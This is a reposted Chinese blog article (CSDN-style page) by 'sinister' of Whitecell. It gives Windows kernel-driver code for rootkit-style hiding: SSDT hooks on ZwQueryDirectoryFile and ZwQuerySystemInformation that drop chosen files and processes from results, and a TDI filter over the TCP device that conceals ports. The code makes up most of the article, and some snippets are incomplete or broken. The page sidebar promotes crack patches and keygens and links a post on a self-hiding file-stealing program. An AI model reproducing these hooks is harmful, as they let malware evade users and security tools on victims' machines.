隐藏任意进程,目录/文件,注册表,端口

谈谈注册表项信息隐藏 理论:注册表是Windows系统存储关于计算机配置信息的数据库,包括了系统运行时需要调用的运行方式的设置,是系统的核心。操作系统是用特殊的文件(Hive文件)来存储注册表的内容,并提供给用户相关的编程接口(APIs)来进行注册表的操作,例如Advapi32.dll中的Registry Functions(如:RegEnumKey)。在Windows操作系统中,函数的调用有着极其规范的层次结构,如下 阅读详情
[转载]隐藏任意进程,目录/文件,注册表,端口

Author : sinister
Email   :
sinister@whitecell.org
HomePage:
http://www.whitecell.org


  查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,
ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 //Device//Tcp 与 //Device//Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)



typedef struct _FILETIME
{
  DWORD dwLowDateTime;
  DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
  DWORD dwLenToNext;
  DWORD dwAttr;
  FILETIME ftCreate, ftLastAccess, ftLastWrite;
  DWORD dwUnknown[ 2 ];
  DWORD dwFileSizeLow;
  DWORD dwFileSizeHigh;
  DWORD dwUnknown2[ 3 ];
  WORD wNameLen;
  WORD wUnknown;
  DWORD dwUnknown3;
  WORD wShortNameLen;
  WCHAR swShortName[ 12 ];
  WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
  LARGE_INTEGER     KernelTime;
  LARGE_INTEGER     UserTime;
  LARGE_INTEGER     CreateTime;
  ULONG           WaitTime;
  PVOID           StartAddress;
  CLIENT_ID         ClientIs;
  KPRIORITY         Priority;
  KPRIORITY         BasePriority;
  ULONG           ContextSwitchCount;
  ULONG           ThreadState;
  KWAIT_REASON       WaitReason;
};

struct _SYSTEM_PROCESSES
{
  ULONG           NextEntryDelta;
  ULONG           ThreadCount;
  ULONG           Reserved[6];
  LARGE_INTEGER     CreateTime;
  LARGE_INTEGER     UserTime;
  LARGE_INTEGER     KernelTime;
  UNICODE_STRING     ProcessName;
  KPRIORITY         BasePriority;
  ULONG           ProcessId;
  ULONG           InheritedFromProcessId;
  ULONG           HandleCount;
  ULONG           Reserved2[2];
  VM_COUNTERS       VmCounters;
  IO_COUNTERS       IoCounters;
  struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
  IN HANDLE hFile,
  IN HANDLE hEvent OPTIONAL,
  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
  IN PVOID IoApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK pIoStatusBlock,
  OUT PVOID FileInformationBuffer,
  IN ULONG FileInformationBufferLength,
  IN FILE_INFORMATION_CLASS FileInfoClass,
  IN BOOLEAN bReturnOnlyOneEntry,
  IN PUNICODE_STRING PathMask OPTIONAL,
  IN BOOLEAN bRestartQuery)
{
  NTSTATUS         rc;
  CHAR           aProcessName[80];  
  ANSI_STRING       ansiFileName,ansiDirName;
  UNICODE_STRING     uniFileName;
  PP_DIR           ptr;

  WCHAR           ParentDirectory[1024] = {0};
  int             BytesReturned;
  PVOID           Object;

   
  // 执行旧的ZwQueryDirectoryFile函数
  rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
        hFile,                  
        hEvent,
        IoApcRoutine,
        IoApcContext,
        pIoStatusBlock,
        FileInformationBuffer,
        FileInformationBufferLength,
        FileInfoClass,
        bReturnOnlyOneEntry,
        PathMask,
        bRestartQuery);

  if(NT_SUCCESS(rc))
  {
    PDirEntry p;
    PDirEntry pLast;
    BOOL bLastOne;
    int found;    
    p = (PDirEntry)FileInformationBuffer;   // 将查找出来结果赋给结构
    pLast = NULL;
   
    do
    {
        bLastOne = !( p->dwLenToNext );
        RtlInitUnicodeString(&uniFileName,p->suName);
        RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
        RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
        RtlUpperString(&ansiFileName,&ansiDirName);

        found=0;
       
        // 在链表中查找是否包含当前目录
        for(ptr = list_head; ptr != NULL; ptr = ptr->next)
        {
          if (ptr->flag != PTR_HIDEDIR) continue;
          if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
          {
            found=1;
            break;
          }
        }//end for

        // 如果链表中包含当前目录,隐藏
        if(found)
        {
          if(bLastOne)
          {
            if(p == (PDirEntry)FileInformationBuffer )
            {
                rc = 0x80000006;   //隐藏
            }
            else
                pLast->dwLenToNext = 0;
            break;
          }
          else
          {
            int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
            int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
            RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
            continue;
          }
        }
        pLast = p;
        p = (PDirEntry)((char *)p + p->dwLenToNext );
    }while( !bLastOne );
    RtlFreeAnsiString(&ansiDirName);  
    RtlFreeAnsiString(&ansiFileName);
  }
  return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
  IN ULONG SystemInformationClass,
  IN PVOID SystemInformation,
  IN ULONG SystemInformationLength,
  OUT PULONG ReturnLength)
{
  NTSTATUS rc;

  ANSI_STRING process_name,process_uname,process_name1,process_name2;
  BOOL   g_hide_proc = TRUE;
  CHAR   aProcessName[80];
  PP_DIR ptr;        
  int   found;


  // 执行旧的ZwQuerySystemInformation函数

  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
    SystemInformationClass,
    SystemInformation,
    SystemInformationLength,
    ReturnLength );

  if(NT_SUCCESS(rc ))
  {
    if( g_hide_proc && (5 == SystemInformationClass))
    {
        // 将查找出来结果赋给结构
        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
        struct _SYSTEM_PROCESSES *prev = NULL;

        // 遍历进程
        while(curr)
        {  
                       
          if((0 < process_name.Length) && (255 > process_name.Length))
          {
            found=0;
            // 遍历链表
            for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
            {  
                if (ptr->flag != PTR_HIDEPROC) continue ;
               
                if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
                                   {
                                         found =1;
                                   }
            }
           
            // 判断如果是隐藏进程名则覆盖掉此进程名
            while(found)
            {

                if(prev)
                {
                  if(curr->NextEntryDelta)
                  {
                    prev->NextEntryDelta += curr->NextEntryDelta;
                  }
                  else
                  {
                    prev->NextEntryDelta = 0;
                  }
                 }
                 else
                {
                  if(curr->NextEntryDelta)
                  {
                    (char *)SystemInformation += curr->NextEntryDelta;
                  }
                  else
                  {
                    SystemInformation = NULL;
                  }
                }
                                   
                                   if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                                   else
                                   {
                                         curr = NULL;break;
                                   }
                                   // 遍历链表
                                   found = 0;
                                   for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
                                   {  
                                         if (ptr->flag != PTR_HIDEPROC) continue ;
                                         
                                         if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
                                         {
                                               found = 1;
                                         }
                                   }
                             }
                       }
                       if(curr != NULL)
                       {
                             prev = curr;
                             if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                             else curr = NULL;
                       }
                 }
    }
  }
  return(rc);
}



//隐藏端口

  PDEVICE_OBJECT   m_TcpgetDevice;

  PDEVICE_OBJECT   TcpDevice;
  UNICODE_STRING   TcpDeviceName;
  PDRIVER_OBJECT   TcpDriver;
  PDEVICE_OBJECT   TcpgetDevice;
  PDEVICE_OBJECT   FilterDevice
  PDRIVER_DISPATCH Empty;
  NTSTATUS       status;

  Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
 
  RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");

  //得到已有的设备指针

  status = IoGetDeviceObjectPointer( &TcpDeviceName,
                          FILE_ALL_ACCESS,
                            &FileObject,
                          &TcpDevice
                        );


  if(!NT_SUCCESS(status))
  {
    DbgPrint("IoGetDeviceObjectPointer error!/n");
    return status;
  }

  DbgPrint("IoGetDeviceObjectPointer ok!/n");
 
  // 建立设备
  status = IoCreateDevice( DriverObject,
                  sizeof(DEVICE_EXTENSION),
                  NULL,
                  FILE_DEVICE_UNKNOWN,
                  0,
                  FALSE,
                  &FilterDevice
                  );
  if(!NT_SUCCESS(status))
  {
    return status;
  }

  // 加入设备

  TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

  if(!TcpgetDevice)
  {
      IoDeleteDevice(FilterDevice);
      DbgPrint("IoAttachDeviceToDeviceStack error!/n");
      return STATUS_SUCCESS;
  }

  m_TcpgetDevice = TcpgetDevice;

  // 加到过滤函数中处理
  for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
    if((TcpDriver->MajorFunction
!=Empty)&&(DriverObject->MajorFunction==Empty))
    {
      DriverObject->MajorFunction
= PassThrough;
             
    }
  }

  ObDereferenceObject(FileObject);


NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{

    NTSTATUS             status;
    PIO_STACK_LOCATION       pIrpStack;

    pIrpStack = IoGetCurrentIrpStackLocation( Irp );


    //如是查询则完成 IRP
    if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
    {
        //这里可以近一步判断某个端口

        Irp->IoStatus.Status=STATUS_SUCCESS;
        IoCompleteRequest(Irp,IO_NO_INCREMENT);
        return STATUS_SUCCESS;
    }

    //复制当前 IRP
    IoCopyCurrentIrpStackLocationToNext(Irp);

    IoSetCompletionRoutine( Irp,
                    GenericCompletion,
                    NULL,
                    TRUE,
                    TRUE,
                    TRUE
                  );

    //传递
    return IoCallDriver( m_TcpgetDevice, Irp);

}

关于我们:

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

WSS 主页:
http://www.whitecell.org/
WSS 论坛:
http://www.whitecell.org/forum/

隐藏指定进程托盘图标 【软件使用方法】: 1.绿色版软件,不需要安装;压缩包里如果有【@绿化工具.exe、!)绿化.bat 、 !)绿化.reg 、 !)绿化.cmd 、@Install_绿化.exe、 !)双击导入.reg 、 !)注册导入.reg】等类似文件。 请先要运行该类文件,这样才能让程序正常运行。 2.安装好软件后,将注册机放在安装目录的文件夹内 3.双击注册机,软件运行,看到有注册按钮后,点注册,在注册信息里填写用户名等,注册码随便填写 4.点击确定按钮,注册机将出现正确的注册码,将刚才的注册名和正确注册码填入软件即可注册。 破解补丁使用方法: 1.安装好软件后,将补丁放在安装目录文件夹内,就是安装的目录里,和主程序放在一起。 (右键选择桌面上的主程序快捷方式,然后点属性,然后点“打开文件位置”或者“查找”,然后把补丁放进去。) 2.运行补丁,后即可使用软件。即使软件显示未注册,但所有功能和时间限制都已经破除。 (这里你可能需要研究一下,因为不同的补丁可能使用方法不一样) 立即下载

相关推荐

端口、文件、进程管理工具

两个端口管理软件,一个文件及进程监视软件,四个windows进程监视与操作软件

用dll注入的方式隐藏进程

上次那个改变键盘布局的程序,被同学很容易的就在任务管理器里找出来杀掉了,不爽!想个办法把它藏起来。  google了一下,发现隐藏进程的方法有很多。可以用rundll,但那样任务管理器里还是会多出个进程,引起怀疑。还可以写注册表里AppInit_Dlls一项,但我试了一下,结果一改就开不了机,可能是我的dll没写好吧。再有就是注入了,代码注入很隐蔽,但还要遇到代码定位,API定位等问题,麻烦,还是

Fido 1212

AI工作流革命:从n8n到Sora2,揭秘自动化视频创作的底层逻辑

本文深入探讨了AI工作流在自动化视频创作中的应用,重点介绍了n8n、Coze和Sora2的组合如何实现从链接输入到视频输出的全流程自动化。通过三层架构解析、关键技术模块优化及成本控制策略,这套方案显著提升了视频生产效率,适用于电商、热点追踪等多种场景。

gg901的博客 1090

隐藏任意进程,目录/文档,注册表,端口

来源: 作者: 发布时间:2007-05-24    

编程爱好者 627

StarCCM+ 导入STL几何模型进行仿真

通过 Import Surface Mesh 的方法导入 STL 文件进行仿真

薛定谔的alpha狗 6131

GD32_ADC采样+DMA多通道扫描传输

所使用的MCU 片上集成了 12 位逐次逼近式模数转换器模块(ADC),可以采样来自于 16 个外部通道和 2 个内部通道上的模拟信号。这 18 个 ADC 采样通道都支持多种运行模式,采样转换后,转换结果可以按照最低有效位对齐或最高有效位对齐的方式保存在相应的数据寄存器中。我们主要介绍其多通道扫描转换和DMA传输功能,在多个通道轮询采集ad数据,并使用DMA分别保存各个数据值,其能大大提高ADC的工作效率。以下为ADC 模块框图:

Yin_w的博客 8162

利用Windows进程隐藏进行权限维持

进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示。

Karka_的博客 2797

【点云语义分割】Ubuntu20.04下RangeNet++环境配置与实战指南

本文详细介绍了在Ubuntu20.04系统下配置和运行RangeNet++点云语义分割模型的完整实战指南。内容涵盖从Cuda、cudnn到TensorRT的深度学习环境搭建,RangeNet++源码编译的详细步骤与常见问题解决,以及如何运行首个分割Demo并可视化结果。最后,还探讨了处理自定义点云数据格式和进行性能调优的进阶技巧,旨在帮助开发者和研究者快速部署并应用这一先进的点云语义分割技术。

rnn9storyteller的博客 518

Windows编程 + 窃取对方主机文件程序+加入注册表+自动隐藏自身

Windows编程 窃取对方自定义目录下的文件 加入注册表+自动隐藏自身 我这里是如图所示的目录 C:\Binggo下有一个123.txt的文件里面内容随便写(被窃取端) 实时窃取我后面新建了1212.txt也能窃取的到 完整代码如下,大佬勿喷 被窃取端代码 #include<stdio.h> #include<windows.h> #include<io.h> #pragma comment(lib, "ws2_32.lib") int SendtoServer(

weixin_43262690的博客 409

基于STM32设计的智能防盗单车锁_349

本设计基于STM32F103RCT6单片机,研制了一种适用于户外环境的智能防盗单车锁系统。系统集成了GPS定位模块、ADXL345加速度传感器、4G通信模块(Air780E)、OLED显示屏、继电器模拟锁控模块等硬件,通过姿态感知实现车辆异常移动检测,在锁车状态下自动触发蜂鸣器报警并通过短信与APP通知用户。

868

Ubuntu零基础教学-如何把Ubuntu20.04界面从英文修改为中文?| 超级详细,建议收藏

带你如何把Ubuntu20.04界面从英文修改为中文?| 超级详细,建议收藏

**My Coding Family** 5340

隐藏任意进程,目录/文件,注册表,端口

Author: sinisterEmail: sinister@whitecell.orgHomepage:http://www.whitecell.org Date: 2002-05-08查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需

1432

GEE 案例:利用多源遥感数据计算RUSLE(Revised Universal Soil Loss Equation)土壤侵蚀

该数据集提供了全球范围内以250至500米的空间分辨率获取的多光谱图像数据,用于监测地表覆盖和变化。RUSLE模型的基本原理是通过考虑土壤侵蚀的主要驱动因素,来估计土壤侵蚀的速率。该数据集提供了全球范围内以10至60米的空间分辨率获取的多光谱图像数据,用于监测地表覆盖和变化。它对农业和土地资源管理者提供了一种评估和预测土壤侵蚀风险的工具,以制定适当的土壤保护措施和决策。2. soil(土壤)是来自OpenLandMap的土壤纹理分类数据,使用了USDA(美国农业部)土壤纹理分类系统。

此星光明博客 806

C++隐藏任意进程,目录/文件,注册表,端口

查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已

jsjjchm281900的专栏 1620

【WRF-Urban数据集】中国60个城市的1 km分辨率城市冠层参数(UCPs)

中国60个城市的1 km分辨率城市冠层参数(UCPs)

WW、forever的博客 1068

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

利用驱动程序隐藏任意进程,目录/文件,注册表,端口

利用驱动程序隐藏任意进程,目录/文件,注册表,端口2006-07-26 12:27  作者:     来源:     发表时间:2006-05-19     -- 利用驱动程序隐藏任意进程,目录/文件,注册表,端口[转帖]查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXValueKey 等函数

lionzl的专栏 1278

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

[转载]隐藏任意进程,目录/文件,注册表,端口

Author : sinister Email : sinister@whitecell.org HomePage: http://www.whitecell.org 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上...

weixin_30621919的博客 77

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

隐藏任意进程,目录文件,注册表,端口

隐藏任意进程,目录文件,注册表,端口    隐藏任意进程,目录/文件,注册表,端口 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个 SYSCALL 表使之指向自己预先

2195的专栏 932

进程的深度隐藏

/********************************************************* 查找进程操作系统最终调用native api ZwQuerySystemInformation, 因此拦截此函数可以达到隐藏进程的目的。 *********************************************************/ /...

diegu9287的博客 252

如何在Windows NT中隐藏自己[转]

导读:   =============================[ 在NT“盒子”里消失 ]=============================   如何在Windows NT中隐藏自己   --------------------------      作者:Holy_Father   版本:1.2 英语   日期:05.08.2003      翻译:pker / CVC

yingfox的专栏 1005

文件隐藏

/********************************************************* 查找目录/文件操作系统最终调用native api ZwQueryDirectoryFile, 因此拦截此函数可以达到隐藏文件/目录的目的。 *********************************************************/ /*...

diegu9287的博客 141
上一篇: VC编程制作系统托盘程序
下一篇: 病毒专杀工具自己编
goingup
博客等级 码龄22年 52粉丝 158原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值